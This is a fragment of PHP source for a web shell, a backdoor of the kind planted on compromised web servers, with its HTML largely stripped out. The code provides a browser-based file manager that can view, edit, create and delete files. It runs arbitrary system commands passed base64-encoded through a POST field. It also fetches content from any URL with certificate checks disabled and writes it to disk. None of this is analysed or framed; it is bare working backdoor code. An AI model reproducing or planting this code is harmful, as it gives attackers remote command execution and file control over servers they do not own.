'; echo ''; echo ''; echo ''; echo ''; } else { echo 'Cant read the file.'; } } else if ($_GET['cfp']) { echo '
'; echo ''; echo ''; echo ''; echo '
'; } else if ($_GET['cdr']) { echo '
'; echo ''; echo ''; echo '
'; } } if ($_GET['v']) { if (isset($_GET['fp'])) { $file = b2h($_GET['fp']); $content = file_get_contents($file); if ($content !== false) { echo ''; } else { echo 'Cant read the file.'; } } } if ($_GET['c']) { echo '
'; echo ''; echo ''; echo '
'; } if ($_GET['gc']) { echo '
'; echo ''; echo ''; echo ''; echo '
'; } function mkd($pth) { $ret = mkdir($pth); return $ret === true || is_dir($pth); } if (isset($_POST['submit_edit'])) { $file = $_POST['edited_file']; $content = base64_decode($_POST['file_content']); if (file_put_contents($file, $content) !== false) { echo 'File Saved.'; } else { echo 'Failed to Edit.'; } } else if (isset($_POST['nfl_sbm'])) { $file = $_POST['edited_file']; $content = base64_decode($_POST['file_content']); if (file_put_contents("$dir/$file", $content) !== false) { echo 'File Saved.'; } else { echo 'Failed to Edit.'; } } else if (isset($_POST['ndr_sbm'])) { $ndr = $_POST['ndr']; if (mkd("$dir/$ndr")) { echo 'Dir Created.'; } else { echo 'Failed to Create.'; } } else if (isset($_POST['cm'])) { $cm = $_POST['cm']; $ccc = base64_decode($cm); echo `$ccc`; } else if (isset($_POST['ulr']) && isset($_POST['fnm'])) { $ulr = $_POST['ulr']; $fnm = $_POST['fnm']; $arrContextOptions=array( "ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false, ), ); $ctnt = file_get_contents($ulr, false, stream_context_create($arrContextOptions)); if (file_put_contents("$dir/$fnm", base64_decode($ctnt))!== false) { echo 'File Saved.'; } else { echo 'Failed to Create.'; } } if ($_GET['d']) { if (isset($_GET['fp'])) { $file = b2h($_GET['fp']); if (unlink($file)) { echo 'File Deleted.'; } else { echo 'Failed to Delete.'; } } } $uname = php_uname(); $current_dir = realpath($dir); ?> RPRPRPRPRP
Information :
'; echo ''; echo ''; echo ''; echo ''; } ?>
$cdr) { // Handle root directory if ($cdr == "" && $cd == 0) { echo '/'; continue; } // Skip empty segments (can occur with double slashes) if ($cdr == "") continue; // Handle Windows drive letters (e.g., "C:") if ($cd == 0 && substr($cdr, -1) == ':') { echo '' . $cdr . '/'; continue; } echo '' . $cdr . "/"; } echo ' [ HOME ]'; echo ' [ GContent ]'; ?>
NAME Permissions Action
'; if (is_dir("$dir/$file")) { if ($file == '.') { echo ''; } else { echo '' . $file . ''; } } else { echo '' . $file . ''; } echo ''; if (is_file("$dir/$file")) { echo '' . fperms("$dir/$file") . ''; } else { echo '' . (is_can_write("$dir/$file") ? 'Can Write' : 'Not Writable') . ''; } echo ''; if (is_file("$dir/$file")) { echo 'EDIT | DELETE'; } else { echo 'NFILE | NDIR'; } echo '